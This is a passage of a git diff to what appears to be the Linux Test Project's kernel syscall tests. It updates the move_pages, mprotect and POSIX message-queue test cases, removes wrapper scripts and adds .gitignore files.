@@ -1,11 +0,0 @@
-#!/bin/sh
-
-syscall=modify_ldt
-
-if [ -f $LTPROOT/testcases/bin/${syscall}01 ]; then
-         $LTPROOT/testcases/bin/${syscall}01
-else
-         echo "${syscall}01 0 CONF : System doesn't support execution of the test"
-
-fi
-
diff --git a/testcases/kernel/syscalls/modify_ldt/run-modify_ldt02.sh b/testcases/kernel/syscalls/modify_ldt/run-modify_ldt02.sh
deleted file mode 100755
index 0dd2e1f..0000000
--- a/testcases/kernel/syscalls/modify_ldt/run-modify_ldt02.sh
+++ /dev/null
@@ -1,11 +0,0 @@
-#!/bin/sh
-
-syscall=modify_ldt
-
-if [ -f $LTPROOT/testcases/bin/${syscall}02 ]; then
-         $LTPROOT/testcases/bin/${syscall}02
-else
-         echo "${syscall}02 0 CONF : System doesn't support execution of the test"
-
-fi
-
diff --git a/testcases/kernel/syscalls/mount/.gitignore b/testcases/kernel/syscalls/mount/.gitignore
new file mode 100644
index 0000000..81f6015
--- /dev/null
+++ b/testcases/kernel/syscalls/mount/.gitignore
@@ -0,0 +1,7 @@
+/mount01
+/mount02
+/mount03
+/mount03_setuid_test
+/mount04
+/mount05
+/mount06
diff --git a/testcases/kernel/syscalls/move_pages/.gitignore b/testcases/kernel/syscalls/move_pages/.gitignore
new file mode 100644
index 0000000..419829d
--- /dev/null
+++ b/testcases/kernel/syscalls/move_pages/.gitignore
@@ -0,0 +1,12 @@
+/move_pages01
+/move_pages02
+/move_pages03
+/move_pages04
+/move_pages05
+/move_pages06
+/move_pages07
+/move_pages08
+/move_pages09
+/move_pages10
+/move_pages11
+/move_pages12
diff --git a/testcases/kernel/syscalls/move_pages/Makefile b/testcases/kernel/syscalls/move_pages/Makefile
index 9892770..27cf0f7 100644
--- a/testcases/kernel/syscalls/move_pages/Makefile
+++ b/testcases/kernel/syscalls/move_pages/Makefile
@@ -22,8 +22,6 @@
 
 CPPFLAGS		+= -I$(abs_srcdir)/../utils
 
-INSTALL_TARGETS		:= move_pages.sh
-
 MAKE_TARGETS		:= $(patsubst $(abs_srcdir)/%.c,%,$(wildcard $(abs_srcdir)/*[0-9].c))
 
 $(MAKE_TARGETS): %: %.o move_pages_support.o
diff --git a/testcases/kernel/syscalls/move_pages/move_pages.sh b/testcases/kernel/syscalls/move_pages/move_pages.sh
deleted file mode 100755
index 516d088..0000000
--- a/testcases/kernel/syscalls/move_pages/move_pages.sh
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-
-if [ -z "$1" ]; then
-    echo "Usage: move_pages.sh <test-number>"
-    exit 1
-fi
-
-testprog=move_pages${1}
-
-if [ -f $LTPROOT/testcases/bin/${testprog} ]; then
-    exec $testprog
-else
-    export TCID=$testprog
-    export TST_TOTAL=1
-    export TST_COUNT=0
-    tst_resm TCONF "libnuma and NUMA support is required for this testcase"
-    tst_exit
-fi
diff --git a/testcases/kernel/syscalls/move_pages/move_pages01.c b/testcases/kernel/syscalls/move_pages/move_pages01.c
index e86c5fc..4a3a8ef 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages01.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages01.c
@@ -89,10 +89,12 @@
 			continue;
 
 		ret = numa_move_pages(0, TEST_PAGES, pages, NULL, status, 0);
-		if (ret != 0) {
+		if (ret < 0) {
 			tst_resm(TFAIL|TERRNO, "move_pages failed");
 			free_pages(pages, TEST_PAGES);
 			continue;
+		} else if (ret > 0) {
+			tst_resm(TINFO, "move_pages() returned %d\n", ret);
 		}
 
 		verify_pages_linear(pages, status, TEST_PAGES);
@@ -101,7 +103,7 @@
 
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages02.c b/testcases/kernel/syscalls/move_pages/move_pages02.c
index ee84b92..80fe6e6 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages02.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages02.c
@@ -103,10 +103,12 @@
 		ret =
 		    numa_move_pages(0, TEST_PAGES, pages, nodes, status,
 				    MPOL_MF_MOVE);
-		if (ret != 0) {
+		if (ret < 0) {
 			tst_resm(TFAIL|TERRNO, "move_pages failed");
 			free_pages(pages, TEST_PAGES);
 			continue;
+		} else if (ret > 0) {
+			tst_resm(TINFO, "move_pages() returned %d\n", ret);
 		}
 
 		for (i = 0; i < TEST_PAGES; i++)
@@ -117,7 +119,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages03.c b/testcases/kernel/syscalls/move_pages/move_pages03.c
index f3f4fd9..d0f2294 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages03.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages03.c
@@ -164,9 +164,11 @@
 
 		ret = numa_move_pages(0, TEST_PAGES, pages, nodes,
 				      status, MPOL_MF_MOVE_ALL);
-		if (ret != 0) {
+		if (ret < 0) {
 			tst_resm(TFAIL|TERRNO, "move_pages failed");
 			goto err_kill_child;
+		} else if (ret > 0) {
+			tst_resm(TINFO, "move_pages() returned %d\n", ret);
 		}
 
 		verify_pages_on_node(pages, status, TEST_PAGES, to_node);
@@ -183,7 +185,7 @@
 		free_shared_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages04.c b/testcases/kernel/syscalls/move_pages/move_pages04.c
index 3678df0..df5e334 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages04.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages04.c
@@ -131,6 +131,8 @@
 			tst_resm(TFAIL | TERRNO,
 				 "move_pages unexpectedly failed");
 			goto err_free_pages;
+		} else if (ret > 0) {
+			tst_resm(TINFO, "move_pages() returned %d\n", ret);
 		}
 
 		if (status[UNTOUCHED_PAGE] == exp_status) {
@@ -150,12 +152,11 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
 	tst_exit();
-
 }
 
 /*
diff --git a/testcases/kernel/syscalls/move_pages/move_pages05.c b/testcases/kernel/syscalls/move_pages/move_pages05.c
index da9642e..7db3c47 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages05.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages05.c
@@ -175,6 +175,8 @@
 			tst_resm(TFAIL | TERRNO,
 				 "move_pages unexpectedly failed");
 			goto err_kill_child;
+		} else if (ret > 0) {
+			tst_resm(TINFO, "move_pages() returned %d\n", ret);
 		}
 
 		if (status[SHARED_PAGE] == -EACCES)
@@ -198,7 +200,7 @@
 		free_shared_pages(pages + SHARED_PAGE, N_SHARED_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages06.c b/testcases/kernel/syscalls/move_pages/move_pages06.c
index 0edb582..e655681 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages06.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages06.c
@@ -113,7 +113,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages07.c b/testcases/kernel/syscalls/move_pages/move_pages07.c
index 0ed54b7..ac3d110 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages07.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages07.c
@@ -115,7 +115,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages08.c b/testcases/kernel/syscalls/move_pages/move_pages08.c
index bf237f3..e1bf64b 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages08.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages08.c
@@ -113,7 +113,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages09.c b/testcases/kernel/syscalls/move_pages/move_pages09.c
index 2d9dc46..5c2d8d3 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages09.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages09.c
@@ -109,7 +109,7 @@
 		 *     mm: stop returning -ENOENT from sys_move_pages() if nothing got migrated
 		 */
 		if ((tst_kvercmp(2, 6, 28)) >= 0) {
-			if (ret == 0)
+			if (ret >= 0)
 				tst_resm(TPASS, "move_pages succeeded");
 			else
 				tst_resm(TFAIL | TERRNO, "move_pages");
@@ -125,7 +125,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages10.c b/testcases/kernel/syscalls/move_pages/move_pages10.c
index 7044135..5ff72a8 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages10.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages10.c
@@ -112,7 +112,7 @@
 		free_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages11.c b/testcases/kernel/syscalls/move_pages/move_pages11.c
index a9d84c5..dec930b 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages11.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages11.c
@@ -186,7 +186,7 @@
 		free_shared_pages(pages, TEST_PAGES);
 	}
 #else
-	tst_resm(TCONF, "test requires libnuma >= 2 and it's development packages");
+	tst_resm(TCONF, NUMA_ERROR_MSG);
 #endif
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/move_pages/move_pages12.c b/testcases/kernel/syscalls/move_pages/move_pages12.c
index 1ac7bc1..04fda8b 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages12.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages12.c
@@ -87,7 +87,7 @@
 
 		TEST(numa_move_pages(ppid, test_pages,
 			pages, nodes, status, MPOL_MF_MOVE_ALL));
-		if (TEST_RETURN) {
+		if (TST_RET < 0) {
 			tst_res(TFAIL | TTERRNO, "move_pages failed");
 			break;
 		}
@@ -101,6 +101,7 @@
 	int i;
 	pid_t cpid = -1;
 	int status;
+	unsigned int twenty_percent = (tst_timeout_remaining() / 5);
 
 	addr = SAFE_MMAP(NULL, TEST_PAGES * hpsz, PROT_READ | PROT_WRITE,
 		MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
@@ -123,14 +124,15 @@
 		memset(addr, 0, TEST_PAGES * hpsz);
 
 		SAFE_MUNMAP(addr, TEST_PAGES * hpsz);
+
+		if (tst_timeout_remaining() < twenty_percent)
+			break;
 	}
 
-	if (i == LOOPS) {
-		SAFE_KILL(cpid, SIGKILL);
-		SAFE_WAITPID(cpid, &status, 0);
-		if (!WIFEXITED(status))
-			tst_res(TPASS, "Bug not reproduced");
-	}
+	SAFE_KILL(cpid, SIGKILL);
+	SAFE_WAITPID(cpid, &status, 0);
+	if (!WIFEXITED(status))
+		tst_res(TPASS, "Bug not reproduced");
 }
 
 static void alloc_free_huge_on_node(unsigned int node, size_t size)
@@ -166,9 +168,9 @@
 	}
 
 	TEST(mlock(mem, size));
-	if (TEST_RETURN) {
+	if (TST_RET) {
 		SAFE_MUNMAP(mem, size);
-		if (TEST_ERRNO == ENOMEM || TEST_ERRNO == EAGAIN)
+		if (TST_ERR == ENOMEM || TST_ERR == EAGAIN)
 			tst_brk(TCONF, "Cannot lock huge pages");
 		tst_brk(TBROK | TTERRNO, "mlock failed");
 	}
@@ -180,7 +182,8 @@
 
 static void setup(void)
 {
-	int memfree, ret;
+	int ret;
+	long memfree;
 
 	check_config(TEST_NODES);
 
@@ -194,8 +197,8 @@
 	pgsz = (int)get_page_size();
 	SAFE_FILE_LINES_SCANF(PATH_MEMINFO, "Hugepagesize: %d", &hpsz);
 
-	SAFE_FILE_LINES_SCANF(PATH_MEMINFO, "MemFree: %d", &memfree);
-	tst_res(TINFO, "Free RAM %d kB", memfree);
+	SAFE_FILE_LINES_SCANF(PATH_MEMINFO, "MemFree: %ld", &memfree);
+	tst_res(TINFO, "Free RAM %ld kB", memfree);
 
 	if (4 * hpsz > memfree)
 		tst_brk(TBROK, "Not enough free RAM");
@@ -267,5 +270,5 @@
 };
 
 #else
-	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/syscalls/move_pages/move_pages_support.c b/testcases/kernel/syscalls/move_pages/move_pages_support.c
index 31f7496..fc0b8b0 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages_support.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages_support.c
@@ -322,7 +322,7 @@
  * @num - no. of semaphores to create
  *
  * Allocate and initialize semaphores in a shared memory area, so that
- * the semaphore can be used accross processes.
+ * the semaphore can be used across processes.
  *
  * RETURNS:
  * Array of initialized semaphores.
@@ -409,6 +409,6 @@
 		tst_brkm(TCONF, NULL, "2.6.18 or greater kernel required");
 	}
 #else
-	tst_brkm(TCONF, NULL, "NUMA support not provided");
+	tst_brkm(TCONF, NULL, NUMA_ERROR_MSG);
 #endif
 }
diff --git a/testcases/kernel/syscalls/mprotect/.gitignore b/testcases/kernel/syscalls/mprotect/.gitignore
new file mode 100644
index 0000000..9571ffd
--- /dev/null
+++ b/testcases/kernel/syscalls/mprotect/.gitignore
@@ -0,0 +1,4 @@
+/mprotect01
+/mprotect02
+/mprotect03
+/mprotect04
diff --git a/testcases/kernel/syscalls/mprotect/Makefile b/testcases/kernel/syscalls/mprotect/Makefile
index bd617d8..bc5c8bc 100644
--- a/testcases/kernel/syscalls/mprotect/Makefile
+++ b/testcases/kernel/syscalls/mprotect/Makefile
@@ -20,4 +20,6 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+mprotect04: CFLAGS += -falign-functions=64
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/mprotect/mprotect01.c b/testcases/kernel/syscalls/mprotect/mprotect01.c
index 7c4f10e..be4d982 100644
--- a/testcases/kernel/syscalls/mprotect/mprotect01.c
+++ b/testcases/kernel/syscalls/mprotect/mprotect01.c
@@ -137,8 +137,8 @@
 
 static void setup3(struct test_case *self)
 {
-	fd = SAFE_OPEN(cleanup, "/etc/passwd", O_RDONLY);
-	
+	fd = SAFE_OPEN(cleanup, "/dev/zero", O_RDONLY);
+
 	self->len = getpagesize();
 
 	/*
diff --git a/testcases/kernel/syscalls/mprotect/mprotect04.c b/testcases/kernel/syscalls/mprotect/mprotect04.c
index 1173afd..a014ab6 100644
--- a/testcases/kernel/syscalls/mprotect/mprotect04.c
+++ b/testcases/kernel/syscalls/mprotect/mprotect04.c
@@ -55,7 +55,8 @@
 
 static volatile int sig_caught;
 static sigjmp_buf env;
-static unsigned int copy_sz;
+static unsigned int page_sz;
+typedef void (*func_ptr_t)(void);
 
 int main(int ac, char **av)
 {
@@ -87,7 +88,7 @@
 {
 	tst_tmpdir();
 	tst_sig(NOFORK, sighandler, cleanup);
-	copy_sz = getpagesize() * 2;
+	page_sz = getpagesize();
 
 	TEST_PAUSE;
 }
@@ -95,12 +96,9 @@
 static void testfunc_protnone(void)
 {
 	char *addr;
-	int page_sz;
 
 	sig_caught = 0;
 
-	page_sz = getpagesize();
-
 	addr = SAFE_MMAP(cleanup, 0, page_sz, PROT_READ | PROT_WRITE,
 					 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
@@ -132,7 +130,7 @@
 
 #ifdef __ia64__
 
-static char exec_func[] = {
+static char exec_func[] __attribute__ ((aligned (64))) = {
 	0x11, 0x00, 0x00, 0x00, 0x01, 0x00, /* nop.m 0x0             */
 	0x00, 0x00, 0x00, 0x02, 0x00, 0x80, /* nop.i 0x0             */
 	0x08, 0x00, 0x84, 0x00,             /* br.ret.sptk.many b0;; */
@@ -190,35 +188,64 @@
 }
 
 /*
+ * To check for the ABI version, because ppc64le can technically use
+ * function descriptors.
+ */
+#if defined(__powerpc64__) && (!defined(_CALL_ELF) || _CALL_ELF < 2)
+#define USE_FUNCTION_DESCRIPTORS
+#endif
+
+#ifdef USE_FUNCTION_DESCRIPTORS
+typedef struct {
+	uintptr_t entry;
+	uintptr_t toc;
+	uintptr_t env;
+} func_descr_t;
+#endif
+
+/*
  * Copy page where &exec_func resides. Also try to copy subsequent page
  * in case exec_func is close to page boundary.
  */
-static void *get_func(void *mem)
+static void *get_func(void *mem, uintptr_t *func_page_offset)
 {
 	uintptr_t page_sz = getpagesize();
 	uintptr_t page_mask = ~(page_sz - 1);
-	uintptr_t func_page_offset = (uintptr_t)&exec_func & (page_sz - 1);
-	void *func_copy_start = mem + func_page_offset;
-	void *page_to_copy = (void *)((uintptr_t)&exec_func & page_mask);
+	void *func_copy_start, *page_to_copy;
 	void *mem_start = mem;
 
-	/* copy 1st page, if it's not present something is wrong */
+#ifdef USE_FUNCTION_DESCRIPTORS
+	func_descr_t *opd =  (func_descr_t *)&exec_func;
+	*func_page_offset = (uintptr_t)opd->entry & (page_sz - 1);
+	func_copy_start = mem + *func_page_offset;
+	page_to_copy = (void *)((uintptr_t)opd->entry & page_mask);
+#else
+	*func_page_offset = (uintptr_t)&exec_func & (page_sz - 1);
+	func_copy_start = mem + *func_page_offset;
+	page_to_copy = (void *)((uintptr_t)&exec_func & page_mask);
+#endif
+	tst_resm(TINFO, "exec_func: %p, page_to_copy: %p",
+		&exec_func, page_to_copy);
+
+	/* Copy 1st page. If it's not accessible, we might be running on a
+	 * platform that supports execute-only page access permissions, in which
+	 * case we have to explicitly change access protections to allow the
+	 * memory to be read. */
 	if (!page_present(page_to_copy)) {
-		tst_resm(TINFO, "exec_func: %p, page_to_copy: %p\n",
-			&exec_func, page_to_copy);
-		tst_brkm(TBROK, cleanup, "page_to_copy not present\n");
+		TEST(mprotect(page_to_copy, page_sz, PROT_READ | PROT_EXEC));
+		if (TEST_RETURN == -1) {
+			tst_resm(TFAIL | TTERRNO,
+				 "mprotect(PROT_READ|PROT_EXEC) failed");
+			return NULL;
+		}
+		/* If the memory is still not accessible, then something must be
+		 * wrong. */
+		if (!page_present(page_to_copy))
+			tst_brkm(TBROK, cleanup, "page_to_copy not present\n");
 	}
 	memcpy(mem, page_to_copy, page_sz);
 
-	/* copy 2nd page if possible */
-	mem += page_sz;
-	page_to_copy += page_sz;
-	if (page_present(page_to_copy))
-		memcpy(mem, page_to_copy, page_sz);
-	else
-		memset(mem, 0, page_sz);
-
-	clear_cache(mem_start, copy_sz);
+	clear_cache(mem_start, page_sz);
 
 	/* return pointer to area where copy of exec_func resides */
 	return func_copy_start;
@@ -228,18 +255,34 @@
 
 static void testfunc_protexec(void)
 {
-	void (*func)(void);
+	func_ptr_t func;
+	uintptr_t func_page_offset;
 	void *p;
 
 	sig_caught = 0;
 
-	p = SAFE_MMAP(cleanup, 0, copy_sz, PROT_READ | PROT_WRITE,
+	p = SAFE_MMAP(cleanup, 0, page_sz, PROT_READ | PROT_WRITE,
 		 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
-	func = get_func(p);
+#ifdef USE_FUNCTION_DESCRIPTORS
+	func_descr_t opd;
+	opd.entry = (uintptr_t)get_func(p, &func_page_offset);
+	func = (func_ptr_t)&opd;
+#else
+	func = get_func(p, &func_page_offset);
+#endif
+
+	if (!func)
+		goto out;
+
+	if (func_page_offset + 64 > page_sz) {
+		SAFE_MUNMAP(cleanup, p, page_sz);
+		tst_brkm(TCONF, cleanup, "func too close to page boundary, "
+			"maybe your compiler ignores -falign-functions?");
+	}
 
 	/* Change the protection to PROT_EXEC. */
-	TEST(mprotect(p, copy_sz, PROT_EXEC));
+	TEST(mprotect(p, page_sz, PROT_EXEC));
 
 	if (TEST_RETURN == -1) {
 		tst_resm(TFAIL | TTERRNO, "mprotect failed");
@@ -261,7 +304,8 @@
 		}
 	}
 
-	SAFE_MUNMAP(cleanup, p, copy_sz);
+out:
+	SAFE_MUNMAP(cleanup, p, page_sz);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/mq_notify/.gitignore b/testcases/kernel/syscalls/mq_notify/.gitignore
new file mode 100644
index 0000000..cca05a7
--- /dev/null
+++ b/testcases/kernel/syscalls/mq_notify/.gitignore
@@ -0,0 +1,2 @@
+/mq_notify01
+/mq_notify02
diff --git a/testcases/kernel/syscalls/mq_notify/mq_notify01.c b/testcases/kernel/syscalls/mq_notify/mq_notify01.c
index b4d0c92..c1d789d 100644
--- a/testcases/kernel/syscalls/mq_notify/mq_notify01.c
+++ b/testcases/kernel/syscalls/mq_notify/mq_notify01.c
@@ -149,8 +149,8 @@
 
 	TEST(mq_notify(*tc->fd, &ev));
 
-	if (TEST_RETURN < 0) {
-		if (tc->err != TEST_ERRNO)
+	if (TST_RET < 0) {
+		if (tc->err != TST_ERR)
 			tst_res(TFAIL | TTERRNO,
 				"mq_notify failed unexpectedly, expected %s",
 				tst_strerrno(tc->err));
@@ -170,7 +170,7 @@
 	if (*tc->fd == fd)
 		cleanup_queue(fd);
 
-	if (TEST_RETURN < 0) {
+	if (TST_RET < 0) {
 		tst_res(TFAIL | TTERRNO, "mq_timedsend failed");
 		return;
 	}
@@ -191,8 +191,8 @@
 			info.si_uid, getuid());
 	}
 
-	if (TEST_RETURN < 0) {
-		if (tc->err != TEST_ERRNO)
+	if (TST_RET < 0) {
+		if (tc->err != TST_ERR)
 			tst_res(TFAIL | TTERRNO,
 				"mq_timedsend failed unexpectedly, expected %s",
 				tst_strerrno(tc->err));
@@ -201,9 +201,9 @@
 		return;
 	}
 
-	if (tc->ret != TEST_RETURN) {
+	if (tc->ret != TST_RET) {
 		tst_res(TFAIL, "mq_timedsend returned %ld, expected %d",
-			TEST_RETURN, tc->ret);
+			TST_RET, tc->ret);
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/mq_open/.gitignore b/testcases/kernel/syscalls/mq_open/.gitignore
new file mode 100644
index 0000000..9a39615
--- /dev/null
+++ b/testcases/kernel/syscalls/mq_open/.gitignore
@@ -0,0 +1 @@
+/mq_open01
diff --git a/testcases/kernel/syscalls/mq_open/mq_open01.c b/testcases/kernel/syscalls/mq_open/mq_open01.c
index 3f4bf7e..58067cf 100644
--- a/testcases/kernel/syscalls/mq_open/mq_open01.c
+++ b/testcases/kernel/syscalls/mq_open/mq_open01.c
@@ -261,36 +261,36 @@
 	}
 
 	if (tc->ret == 0) {
-		if (TEST_RETURN < 0) {
+		if (TST_RET < 0) {
 			tst_res(TFAIL | TTERRNO, "%s wrong return code: %ld",
-				tc->desc, TEST_RETURN);
+				tc->desc, TST_RET);
 		} else {
 			tst_res(TPASS | TTERRNO, "%s returned: %ld",
-				tc->desc, TEST_RETURN);
+				tc->desc, TST_RET);
 		}
 
 		goto CLEANUP;
 	}
 
-	if (TEST_ERRNO != tc->err) {
+	if (TST_ERR != tc->err) {
 		tst_res(TFAIL | TTERRNO, "%s expected errno: %d",
-			tc->desc, TEST_ERRNO);
+			tc->desc, TST_ERR);
 		goto CLEANUP;
 	}
 
-	if (TEST_RETURN != tc->ret) {
+	if (TST_RET != tc->ret) {
 		tst_res(TFAIL | TTERRNO, "%s wrong return code: %ld",
-			tc->desc, TEST_RETURN);
+			tc->desc, TST_RET);
 	} else {
 		tst_res(TPASS | TTERRNO, "%s returned: %ld",
-			tc->desc, TEST_RETURN);
+			tc->desc, TST_RET);
 	}
 
 CLEANUP:
 	if (tc->cleanup)
 		tc->cleanup();
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		if (fd > 0)
 			SAFE_CLOSE(fd);
 		mq_unlink(qname);
diff --git a/testcases/kernel/syscalls/mq_timedreceive/.gitignore b/testcases/kernel/syscalls/mq_timedreceive/.gitignore
new file mode 100644
index 0000000..eb2b116
--- /dev/null
+++ b/testcases/kernel/syscalls/mq_timedreceive/.gitignore
@@ -0,0 +1 @@
+/mq_timedreceive01
diff --git a/testcases/kernel/syscalls/mq_timedreceive/mq_timedreceive01.c b/testcases/kernel/syscalls/mq_timedreceive/mq_timedreceive01.c
index f3f5295..1be515c 100644
--- a/testcases/kernel/syscalls/mq_timedreceive/mq_timedreceive01.c
+++ b/testcases/kernel/syscalls/mq_timedreceive/mq_timedreceive01.c
@@ -160,8 +160,8 @@
 	if (*tc->fd == fd)
 		cleanup_queue(fd);
 
-	if (TEST_RETURN < 0) {
-		if (tc->err != TEST_ERRNO)
+	if (TST_RET < 0) {
+		if (tc->err != TST_ERR)
 			tst_res(TFAIL | TTERRNO,
 				"mq_timedreceive failed unexpectedly, expected %s",
 				tst_strerrno(tc->err));
@@ -171,9 +171,9 @@
 		return;
 	}
 
-	if (tc->len != TEST_RETURN) {
+	if (tc->len != TST_RET) {
 		tst_res(TFAIL, "mq_timedreceive wrong length %ld, expected %zu",
-			TEST_RETURN, tc->len);
+			TST_RET, tc->len);
 		return;
 	}
 
@@ -193,7 +193,7 @@
 	}
 
 	tst_res(TPASS, "mq_timedreceive returned %ld, priority %u, length: %zu",
-			TEST_RETURN, prio, len);
+			TST_RET, prio, len);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/mq_timedsend/.gitignore b/testcases/kernel/syscalls/mq_timedsend/.gitignore
new file mode 100644
index 0000000..dda8f7e
--- /dev/null
+++ b/testcases/kernel/syscalls/mq_timedsend/.gitignore
@@ -0,0 +1 @@
+/mq_timedsend01
diff --git a/testcases/kernel/syscalls/mq_timedsend/mq_timedsend01.c b/testcases/kernel/syscalls/mq_timedsend/mq_timedsend01.c
index d54de1d..8f209d3 100644
--- a/testcases/kernel/syscalls/mq_timedsend/mq_timedsend01.c
+++ b/testcases/kernel/syscalls/mq_timedsend/mq_timedsend01.c
@@ -161,8 +161,8 @@
 	if (pid > 0)
 		kill_pid(pid);
 
-	if (TEST_RETURN < 0) {
-		if (tc->err != TEST_ERRNO)
+	if (TST_RET < 0) {
+		if (tc->err != TST_ERR)
 			tst_res(TFAIL | TTERRNO,
 				"mq_timedsend failed unexpectedly, expected %s",
 				tst_strerrno(tc->err));
@@ -180,8 +180,8 @@
 	if (*tc->fd == fd)
 		cleanup_queue(fd);
 
-	if (TEST_RETURN < 0) {
-		if (tc->err != TEST_ERRNO) {
+	if (TST_RET < 0) {
+		if (tc->err != TST_ERR) {
 			tst_res(TFAIL | TTERRNO,
 				"mq_timedreceive failed unexpectedly, expected %s",
 				tst_strerrno(tc->err));
@@ -190,14 +190,14 @@
 
 		if (tc->ret >= 0) {
 			tst_res(TFAIL | TTERRNO, "mq_timedreceive returned %ld, expected %d",
-					TEST_RETURN, tc->ret);
+					TST_RET, tc->ret);
 			return;
 		}
 	}
 
-	if (tc->len != TEST_RETURN) {
+	if (tc->len != TST_RET) {
 		tst_res(TFAIL, "mq_timedreceive wrong length %ld, expected %d",
-			TEST_RETURN, tc->len);
+			TST_RET, tc->len);
 		return;
 	}
 
@@ -217,7 +217,7 @@
 	}
 
 	tst_res(TPASS, "mq_timedreceive returned %ld, priority %u, length: %zu",
-			TEST_RETURN, prio, len);
+			TST_RET, prio, len);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/mq_unlink/.gitignore b/testcases/kernel/syscalls/mq_unlink/.gitignore
new file mode 100644
index 0000000..68034e0
--- /dev/null
+++ b/testcases/kernel/syscalls/mq_unlink/.gitignore
@@ -0,0 +1 @@
+/mq_unlink01
diff --git a/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c b/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c
index 6e271c5..8c9126d 100644
--- a/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c
+++ b/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c
@@ -104,12 +104,12 @@
 
 	/* test */
 	TEST(mq_unlink(tc->qname));
-	if (TEST_ERRNO != tc->err || TEST_RETURN != tc->ret) {
+	if (TST_ERR != tc->err || TST_RET != tc->ret) {
 		tst_res(TFAIL | TTERRNO, "mq_unlink returned %ld, expected %d,"
-			" expected errno %s (%d)", TEST_RETURN,
+			" expected errno %s (%d)", TST_RET,
 			tc->ret, tst_strerrno(tc->err), tc->err);
 	} else {
-		tst_res(TPASS | TTERRNO, "mq_unlink returned %ld", TEST_RETURN);
+		tst_res(TPASS | TTERRNO, "mq_unlink returned %ld", TST_RET);
 	}
 
 EXIT:
diff --git a/testcases/kernel/syscalls/mremap/.gitignore b/testcases/kernel/syscalls/mremap/.gitignore
new file mode 100644
index 0000000..833e1b8
--- /dev/null
